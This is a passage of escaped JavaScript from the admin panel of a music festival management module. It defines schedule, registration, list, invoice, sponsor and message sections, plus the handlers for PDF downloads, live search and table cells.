'altnumber', 'text'],\\n 'cellClasses':['', 'multiline', '', '', '', 'alignright'],\\n },\\n 'registrations_emailbutton':{'label':'', \\n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='registrations' && M.ciniki_musicfestivals_main.festival.teacher_customer_id > 0 ?'yes':'no';},\\n 'buttons':{\\n 'email':{'label':'Email List to Teacher', 'fn':'M.ciniki_musicfestivals_main.festival.emailTeacherRegistrations();'},\\n 'comments':{'label':'Download Comments PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadTeacherComments();'},\\n 'registrations':{'label':'Download Registrations PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadTeacherRegistrations();'},\\n }},\\n 'schedule_sections':{'label':'Schedules', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\\n// 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' ? 'yes' : 'no'; },\\n 'visible':function() { return ['schedule', 'comments', 'photos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 ? 'yes' : 'no'; },\\n 'cellClasses':['', 'multiline alignright'],\\n 'addTxt':'Unscheduled',\\n 'addFn':'M.ciniki_musicfestivals_main.festival.openScheduleSection(\\\\'unscheduled\\\\',\\\"Unscheduled\\\");',\\n 'changeTxt':'Add Schedule',\\n 'changeFn':'M.ciniki_musicfestivals_main.schedulesection.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n 'mailFn':function(s, i, d) {\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\\n return null;\\n }\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\\n return null;\\n }\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.schedulesection\\\\',\\\\'' + d.id + '\\\\');';\\n } \\n return '';\\n },\\n 'editFn':function(s, i, d) {\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\\n return '';\\n }\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\\n return '';\\n }\\n return 'M.ciniki_musicfestivals_main.schedulesection.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n },\\n },\\n 'schedule_divisions':{'label':'Divisions', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\\n 'visible':function() { return ['schedule', 'comments', 'photos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.schedulesection_id>0? 'yes' : 'no'; },\\n 'cellClasses':['multiline', 'multiline alignright'],\\n 'addTxt':'Add Division',\\n 'addFn':'M.ciniki_musicfestivals_main.scheduledivision.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.schedulesection_id,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n 'mailFn':function(s, i, d) {\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\\n return null;\\n }\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\\n return null;\\n }\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.scheduledivision\\\\',\\\\'' + d.id + '\\\\');';\\n } \\n return '';\\n },\\n 'editFn':function(s, i, d) {\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\\n return '';\\n }\\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\\n return '';\\n }\\n return 'M.ciniki_musicfestivals_main.scheduledivision.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.schedulesection_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n },\\n },\\n 'program_options':{'label':'Download Program', 'aside':'yes',\\n// 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' ? 'yes' : 'no'; },\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02) ? 'yes' : 'no'; },\\n 'fields':{\\n 'ipv':{'label':'Type', 'type':'toggle', 'default':'all', \\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'; },\\n 'toggles':{'all':'All', 'inperson':'In Person', 'virtual':'Virtual'},\\n },\\n }},\\n 'program_buttons':{'label':'', 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' ? 'yes' : 'no'; },\\n 'buttons':{\\n 'pdf':{'label':'Download Program PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadProgramPDF();'},\\n }},\\n 'schedule_download':{'label':'Schedule PDF', 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0? 'yes' : 'no'; },\\n 'fields':{\\n 'names':{'label':'Full Names', 'type':'toggle', 'default':'public', 'toggles':{'public':'No', 'private':'Yes'}},\\n 's_titles':{'label':'Titles', 'type':'toggle', 'default':'yes', 'toggles':{'no':'No', 'yes':'Yes'}},\\n 's_ipv':{'label':'Type', 'type':'toggle', 'default':'all', \\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'; },\\n 'toggles':{'all':'All', 'inperson':'In Person', 'virtual':'Virtual'},\\n },\\n 'footerdate':{'label':'Footer Date', 'type':'toggle', 'default':'yes', 'toggles':{'no':'No', 'yes':'Yes'}},\\n }},\\n 'schedule_buttons':{'label':'', 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0? 'yes' : 'no'; },\\n 'buttons':{\\n 'pdf':{'label':'Download Schedule PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadSchedulePDF();'},\\n 'certs':{'label':'Certificates PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadCertificatesPDF();'},\\n 'comments':{'label':'Adjudicators Comments PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadCommentsPDF();'},\\n }},\\n 'schedule_timeslots':{'label':'Time Slots', 'type':'simplegrid', 'num_cols':2, \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0 && M.ciniki_musicfestivals_main.festival.scheduledivision_id>0 ? 'yes' : 'no'; },\\n 'cellClasses':['label multiline', 'multiline', 'fabuttons'],\\n 'addTxt':'Add Time Slot',\\n 'addFn':'M.ciniki_musicfestivals_main.scheduletimeslot.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.scheduledivision_id,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n },\\n 'timeslot_photos':{'label':'Time Slots', 'type':'simplegrid', 'num_cols':3,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0 && M.ciniki_musicfestivals_main.festival.scheduledivision_id>0 ? 'yes' : 'no'; },\\n 'cellClasses':['multiline', 'thumbnails', 'alignright fabuttons'],\\n },\\n 'timeslot_comments':{'label':'Time Slots', 'type':'simplegrid', 'num_cols':5, \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0 && M.ciniki_musicfestivals_main.festival.scheduledivision_id>0 ? 'yes' : 'no'; },\\n 'headerValues':['Time', 'Name', '', '', ''],\\n 'headerClasses':['', '', 'aligncenter', 'aligncenter', 'aligncenter'],\\n 'cellClasses':['', '', 'aligncenter', 'aligncenter', 'aligncenter'],\\n },\\n 'unscheduled_registrations':{'label':'Unscheduled', 'type':'simplegrid', 'num_cols':3,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id == 'unscheduled' ? 'yes' : 'no'; },\\n 'headerValues':['Class', 'Registrant', 'Status'],\\n 'sortable':'yes',\\n 'sortTypes':['text', 'text', 'text'],\\n 'cellClasses':['', 'multiline', ''],\\n },\\n 'video_search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':5,\\n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='videos'?'yes':'no';},\\n 'hint':'Search',\\n 'noData':'No registrations found',\\n 'headerValues':['Class', 'Registrant', 'Video Link', 'PDF', 'Status'],\\n 'cellClasses':['', '', '', '', ''],\\n },\\n 'videos':{'label':'Registrations', 'type':'simplegrid', 'num_cols':5,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'videos' ? 'yes' : 'no'; },\\n 'headerValues':['Class', 'Registrant', 'Video Link', 'PDF', 'Status', ''],\\n 'sortable':'yes',\\n 'sortTypes':['text', 'text', 'text', 'text', 'altnumber', ''],\\n 'cellClasses':['', 'multiline', '', '', '', 'alignright'],\\n// 'addTxt':'Add Registration',\\n// 'addFn':'M.ciniki_musicfestivals_main.registration.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n },\\n 'competitor_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'cities',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' ? 'yes' : 'no'; },\\n 'tabs':{\\n 'cities':{'label':'Cities', 'fn':'M.ciniki_musicfestivals_main.festival.switchCompTab(\\\"cities\\\");'},\\n 'provinces':{'label':'Provinces', 'fn':'M.ciniki_musicfestivals_main.festival.switchCompTab(\\\"provinces\\\");'},\\n }}, \\n 'competitor_cities':{'label':'', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' && M.ciniki_musicfestivals_main.festival.sections.competitor_tabs.selected == 'cities' ? 'yes' : 'no'; },\\n 'editFn':function(s, i, d) {\\n if( d.city != null && d.province != null ) {\\n return 'M.ciniki_musicfestivals_main.editcityprov.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + escape(d.city) + '\\\\',\\\\'' + escape(d.province) + '\\\\');';\\n }\\n return '';\\n },\\n },\\n 'competitor_provinces':{'label':'', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' && M.ciniki_musicfestivals_main.festival.sections.competitor_tabs.selected == 'provinces' ? 'yes' : 'no'; },\\n 'editFn':function(s, i, d) {\\n if( d.province != null ) {\\n return 'M.ciniki_musicfestivals_main.editcityprov.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',null,\\\\'' + escape(d.province) + '\\\\');';\\n }\\n return '';\\n },\\n },\\n 'competitors':{'label':'', 'type':'simplegrid', 'num_cols':3,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' ? 'yes' : 'no'; },\\n 'headerValues':['Name', 'Classes', 'Waiver'],\\n },\\n 'lists':{'label':'Lists', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists'); },\\n 'addTxt':'Add List',\\n 'addFn':'M.ciniki_musicfestivals_main.list.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n 'editFn':function(s, i, d) {\\n return 'M.ciniki_musicfestivals_main.list.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n },\\n },\\n 'listsections':{'label':'Sections', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists') == 'yes' && M.ciniki_musicfestivals_main.festival.list_id > 0) ? 'yes' : 'no'; },\\n 'addTxt':'Add Section',\\n 'addFn':'M.ciniki_musicfestivals_main.listsection.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.list_id,null);',\\n 'editFn':function(s, i, d) {\\n return 'M.ciniki_musicfestivals_main.listsection.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.list_id,null);';\\n },\\n },\\n 'listentries':{'label':'Sections', 'type':'simplegrid', 'num_cols':4, \\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists') == 'yes' && M.ciniki_musicfestivals_main.festival.listsection_id > 0) ? 'yes' : 'no'; },\\n 'headerValues':['Award', 'Amount', 'Donor', 'Winner'],\\n 'addTxt':'Add Entry',\\n 'addFn':'M.ciniki_musicfestivals_main.listentry.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.listsection_id,null);',\\n 'seqDrop':function(e,from,to) {\\n M.api.getJSONCb('ciniki.musicfestivals.festivalGet', {'tnid':M.curTenantID, \\n 'action':'listentrysequenceupdate',\\n 'festival_id':M.ciniki_musicfestivals_main.festival.festival_id,\\n 'lists':'yes',\\n 'list_id':M.ciniki_musicfestivals_main.festival.list_id,\\n 'listsection_id':M.ciniki_musicfestivals_main.festival.listsection_id,\\n 'entry_id':M.ciniki_musicfestivals_main.festival.data.listentries[from].id, \\n 'sequence':M.ciniki_musicfestivals_main.festival.data.listentries[to].sequence, \\n }, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.festival;\\n p.data.listentries = rsp.festival.listentries;\\n p.refreshSection(\\\"listentries\\\");\\n });\\n },\\n },\\n 'invoice_statuses':{'label':'Status', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'invoices'); },\\n },\\n 'invoices':{'label':'Invoices', 'type':'simplegrid', 'num_cols':6,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'invoices'); },\\n 'headerValues':['#', 'Customer', 'Students', 'Total', 'Status'],\\n 'noData':'No invoices',\\n 'sortable':'yes',\\n 'sortTypes':['number', 'text', 'text', 'number', 'text', ''],\\n },\\n 'adjudicators':{'label':'', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'adjudicators'); },\\n 'addTxt':'Add Adjudicator',\\n 'addFn':'M.ciniki_musicfestivals_main.adjudicator.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n },\\n 'files':{'label':'', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'files'); },\\n 'addTxt':'Add File',\\n 'addFn':'M.ciniki_musicfestivals_main.addfile.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id);',\\n },\\n 'certificates':{'label':'', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'certificates'); },\\n 'headerValues':['Name', 'Section', 'Min Score'],\\n 'addTxt':'Add Certificate',\\n 'addFn':'M.ciniki_musicfestivals_main.certificate.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id);',\\n },\\n 'lists':{'label':'Lists', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists'); },\\n 'addTxt':'Add List',\\n 'addFn':'M.ciniki_musicfestivals_main.list.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n 'editFn':function(s, i, d) {\\n return 'M.ciniki_musicfestivals_main.list.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n },\\n },\\n 'message_statuses':{'label':'', 'type':'simplegrid', 'aside':'yes', 'num_cols':1,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('messages', ''); },\\n },\\n 'message_buttons':{'label':'', 'aside':'yes', \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('messages', ''); },\\n 'buttons':{\\n 'add':{'label':'Add Message', 'fn':'M.ciniki_musicfestivals_main.message.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id);'},\\n }},\\n 'messages':{'label':'', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('messages', ''); },\\n 'headerValues':['Subject', 'Date'],\\n 'noData':'No Messages',\\n },\\n 'emails_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'all',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'emails'); },\\n 'tabs':{\\n 'all':{'label':'All', 'fn':'M.ciniki_musicfestivals_main.festival.switchEmailsTab(\\\"all\\\");'},\\n 'teachers':{'label':'Teachers', 'fn':'M.ciniki_musicfestivals_main.festival.switchEmailsTab(\\\"teachers\\\");'},\\n 'competitors':{'label':'Competitors', 'fn':'M.ciniki_musicfestivals_main.festival.switchEmailsTab(\\\"competitors\\\");'},\\n }}, \\n 'emails_sections':{'label':'Sections', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'emails'); },\\n },\\n 'emails_html':{'label':'Emails', 'type':'html', \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'emails'); },\\n },\\n 'sponsors':{'label':'', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'sponsors'); },\\n 'headerValues':['Name', 'Level'],\\n 'addTxt':'Add Sponsor',\\n 'addFn':'M.ciniki_musicfestivals_main.sponsor.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id);',\\n },\\n 'sponsors-old':{'label':'', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'sponsors-old'); },\\n 'addTxt':'Manage Sponsors',\\n 'addFn':'M.startApp(\\\\'ciniki.sponsors.ref\\\\',null,\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'mc\\\\',{\\\\'object\\\\':\\\\'ciniki.musicfestivals.festival\\\\',\\\\'object_id\\\\':M.ciniki_musicfestivals_main.festival.festival_id});',\\n },\\n }\\n this.festival.isSelected = function(t, m) {\\n if( this.sections._tabs.selected == t ) {\\n if( t == 'more' ) {\\n return this.sections._moretabs.selected == m ? 'yes' : 'no';\\n }\\n return 'yes';\\n }\\n return 'no';\\n }\\n this.festival.sectionData = function(s) {\\n if( s == 'videos' ) {\\n return this.data.registrations;\\n }\\n return M.panel.prototype.sectionData.call(this, s);\\n }\\n this.festival.downloadProgramPDF = function() {\\n var args = {\\n 'tnid':M.curTenantID, \\n 'festival_id':this.festival_id, \\n 'ipv':this.formValue('ipv'),\\n };\\n M.api.openPDF('ciniki.musicfestivals.programPDF',args);\\n }\\n this.festival.downloadSchedulePDF = function() {\\n var args = {'tnid':M.curTenantID,\\n 'festival_id':this.festival_id,\\n 'schedulesection_id':this.schedulesection_id,\\n 'names':this.formValue('names'),\\n 'ipv':this.formValue('s_ipv'),\\n 'titles':this.formValue('s_titles'),\\n 'footerdate':this.formValue('footerdate'),\\n };\\n M.api.openPDF('ciniki.musicfestivals.schedulePDF',args);\\n }\\n this.festival.downloadCertificatesPDF = function() {\\n var args = {'tnid':M.curTenantID,\\n 'festival_id':this.festival_id,\\n 'schedulesection_id':this.schedulesection_id,\\n 'ipv':this.formValue('s_ipv'),\\n };\\n M.api.openFile('ciniki.musicfestivals.certificatesPDF',args);\\n }\\n this.festival.downloadCommentsPDF = function() {\\n var args = {'tnid':M.curTenantID,\\n 'festival_id':this.festival_id,\\n 'schedulesection_id':this.schedulesection_id,\\n 'ipv':this.formValue('s_ipv'),\\n };\\n M.api.openPDF('ciniki.musicfestivals.commentsPDF',args);\\n }\\n this.festival.downloadTeacherComments = function() {\\n var args = {'tnid':M.curTenantID,\\n 'festival_id':this.festival_id,\\n 'teacher_customer_id':this.teacher_customer_id,\\n };\\n M.api.openPDF('ciniki.musicfestivals.commentsPDF',args);\\n }\\n this.festival.downloadTeacherRegistrations = function() {\\n var args = {'tnid':M.curTenantID,\\n 'festival_id':this.festival_id,\\n 'teacher_customer_id':this.teacher_customer_id,\\n };\\n M.api.openPDF('ciniki.musicfestivals.teacherRegistrationsPDF',args);\\n }\\n this.festival.listLabel = function(s, i, d) { \\n if( s == 'details' ) {\\n return d.label; \\n }\\n return '';\\n }\\n this.festival.listValue = function(s, i, d) { \\n if( s == 'details' ) {\\n return this.data[i]; \\n }\\n if( s == '_more' ) {\\n return d.label;\\n }\\n }\\n this.festival.fieldValue = function(s, i, d) { \\n if( this.data[i] == null ) { return ''; }\\n return this.data[i]; \\n }\\n this.festival.liveSearchCb = function(s, i, v) {\\n if( s == 'syllabus_search' && v != '' ) {\\n M.api.getJSONBgCb('ciniki.musicfestivals.syllabusSearch', {'tnid':M.curTenantID, 'start_needle':v, 'festival_id':this.festival_id, 'limit':'50'}, function(rsp) {\\n M.ciniki_musicfestivals_main.festival.liveSearchShow(s,null,M.gE(M.ciniki_musicfestivals_main.festival.panelUID + '_' + s), rsp.classes);\\n if( M.ciniki_musicfestivals_main.festival.lastY > 0 ) {\\n window.scrollTo(0,M.ciniki_musicfestivals_main.festival.lastY);\\n }\\n });\\n }\\n if( (s == 'registration_search' || s == 'video_search') && v != '' ) {\\n M.api.getJSONBgCb('ciniki.musicfestivals.registrationSearch', {'tnid':M.curTenantID, 'start_needle':v, 'festival_id':this.festival_id, 'limit':'50'}, function(rsp) {\\n M.ciniki_musicfestivals_main.festival.liveSearchShow(s,null,M.gE(M.ciniki_musicfestivals_main.festival.panelUID + '_' + s), rsp.registrations);\\n if( M.ciniki_musicfestivals_main.festival.lastY > 0 ) {\\n window.scrollTo(0,M.ciniki_musicfestivals_main.festival.lastY);\\n }\\n });\\n }\\n }\\n this.festival.liveSearchResultValue = function(s, f, i, j, d) {\\n if( s == 'syllabus_search' ) { \\n return this.cellValue(s, i, j, d);\\n }\\n if( s == 'registration_search' ) { \\n return this.cellValue(s, i, j, d);\\n/* switch(j) {\\n case 0: return d.class_code;\\n case 1: return d.display_name;\\n case 2: return d.teacher_name;\\n case 3: return '$' + d.fee;\\n case 4: return d.status_text;\\n } */\\n }\\n if( s == 'video_search' ) { \\n switch(j) {\\n case 0: return d.class_code;\\n case 1: return d.display_name;\\n case 2: return M.hyperlink(d.video_url1);\\n case 3: return d.music_orgfilename;\\n case 4: return d.status_text;\\n }\\n }\\n }\\n this.festival.liveSearchResultRowFn = function(s, f, i, j, d) {\\n if( s == 'syllabus_search' ) { \\n return 'M.ciniki_musicfestivals_main.festival.savePos();M.ciniki_musicfestivals_main.class.open(\\\\'M.ciniki_musicfestivals_main.festival.reopen();\\\\',\\\\'' + d.id + '\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.classes);';\\n }\\n if( s == 'registration_search' || s == 'video_search' ) { \\n return 'M.ciniki_musicfestivals_main.festival.savePos();M.ciniki_musicfestivals_main.registration.open(\\\\'M.ciniki_musicfestivals_main.festival.reopen();\\\\',\\\\'' + d.id + '\\\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.registrations,\\\\'festival\\\\');';\\n }\\n }\\n this.festival.cellValue = function(s, i, j, d) {\\n if( s == 'sections' ) {\\n switch(j) {\\n case 0: return d.name;\\n case 1: return (d.num_registrations!=0 ? d.num_registrations : '');\\n }\\n }\\n if( s == 'categories' ) {\\n switch(j) {\\n case 0: return d.section_name;\\n case 1: return d.name;\\n case 2: return (d.num_registrations!=0 ? d.num_registrations : '');\\n }\\n }\\n if( s == 'classes' || s == 'syllabus_search' ) {\\n switch(j) {\\n case 0: return d.section_name;\\n case 1: return d.category_name;\\n case 2: return d.code + ' - ' + d.name;\\n case 3: return d.earlybird_fee + '/' + d.fee;\\n case 4: return (d.num_registrations!=0 ? d.num_registrations : '');\\n }\\n }\\n if( s == 'unscheduled_registrations' ) {\\n switch (j) {\\n case 0: return d.class_code;\\n case 1: return '' + d.display_name + '' + d.title1 + '';\\n case 2: return d.status_text;\\n }\\n }\\n if( s == 'registrations' || s == 'registration_search' ) {\\n switch (j) {\\n case 0: return d.class_code;\\n case 1: return '' + d.display_name + '' + d.title1 + '';\\n case 2: return d.teacher_name;\\n case 3: return '$' + d.fee;\\n case 4: return d.status_text;\\n }\\n if( j == 5 && (this.data.flags&0x10) == 0x10 ) {\\n return (d.participation == 2 ? 'Plus' : '');\\n } else if( j == 5 && (this.data.flags&0x02) == 0x02 ) {\\n return (d.participation == 2 ? 'Virtual' : 'In Person');\\n }\\n }\\n if( s == 'registration_sections' || s == 'emails_sections' ) {\\n return M.textCount(d.name, d.num_registrations);\\n }\\n if( s == 'registration_teachers' ) {\\n return M.textCount(d.display_name, d.num_registrations);\\n }\\n if( s == 'registration_tags' ) {\\n return M.textCount(d.name, d.num_registrations);\\n }\\n if( s == 'schedule_sections' ) {\\n switch(j) {\\n case 0: return d.name;\\n// case 1: return '';\\n }\\n }\\n if( s == 'adjudicators' ) {\\n return d.name;\\n }\\n if( s == 'certificates' ) {\\n switch(j) {\\n case 0: return d.name;\\n case 1: return d.section_name;\\n case 2: return d.min_score;\\n }\\n }\\n if( s == 'files' ) {\\n switch(j) {\\n case 0: return d.name;\\n case 1: return (d.webflags&0x01) == 0x01 ? 'Visible' : 'Hidden';\\n }\\n }\\n if( s == 'message_statuses' ) {\\n return M.textCount(d.label, d.num_messages);\\n }\\n if( s == 'messages' ) {\\n switch(j) {\\n case 0: return d.subject;\\n case 1: return d.date_text;\\n }\\n }\\n if( s == 'lists' ) {\\n switch(j) { \\n case 0: return d.name;\\n }\\n }\\n if( s == 'listsections' ) {\\n switch(j) { \\n case 0: return d.name;\\n }\\n }\\n if( s == 'listentries' ) {\\n switch(j) { \\n case 0: return d.award;\\n case 1: return d.amount;\\n case 2: return d.donor;\\n case 3: return d.winner;\\n }\\n }\\n if( s == 'sponsors' ) {\\n switch(j) { \\n case 0: return d.name;\\n case 1: return d.level;\\n }\\n }\\n if( s == 'sponsors-old' && j == 0 ) {\\n return '' + d.sponsor.title + '';\\n }\\n }\\n this.festival.cellSortValue = function(s, i , j, d) {\\n if( s == 'registrations' ) {\\n switch(j) {\\n case 3: return d.fee;\\n case 4: return d.status;\\n }\\n }\\n if( s == 'videos' ) {\\n switch(j) {\\n case 4: return d.status;\\n }\\n }\\n return '';\\n }\\n this.festival.rowFn = function(s, i, d) {\\n switch(s) {\\n// case 'sections': return 'M.ciniki_musicfestivals_main.section.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.sections);';\\n case 'sections': return 'M.ciniki_musicfestivals_main.classes.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.sections);';\\n case 'categories': return 'M.ciniki_musicfestivals_main.category.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',\\\\'' + d.section_id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.categories);';\\n case 'classes': return 'M.ciniki_musicfestivals_main.class.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.classes);';\\n case 'unscheduled_registrations': \\n case 'registrations': \\n case 'videos':\\n return 'M.ciniki_musicfestivals_main.registration.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.registrations,\\\\'festival\\\\');';\\n case 'registration_sections': return 'M.ciniki_musicfestivals_main.festival.openSection(\\\\'' + d.id + '\\\\',\\\"' + M.eU(d.name) + '\\\");';\\n case 'emails_sections': return 'M.ciniki_musicfestivals_main.festival.openSection(\\\\'' + d.id + 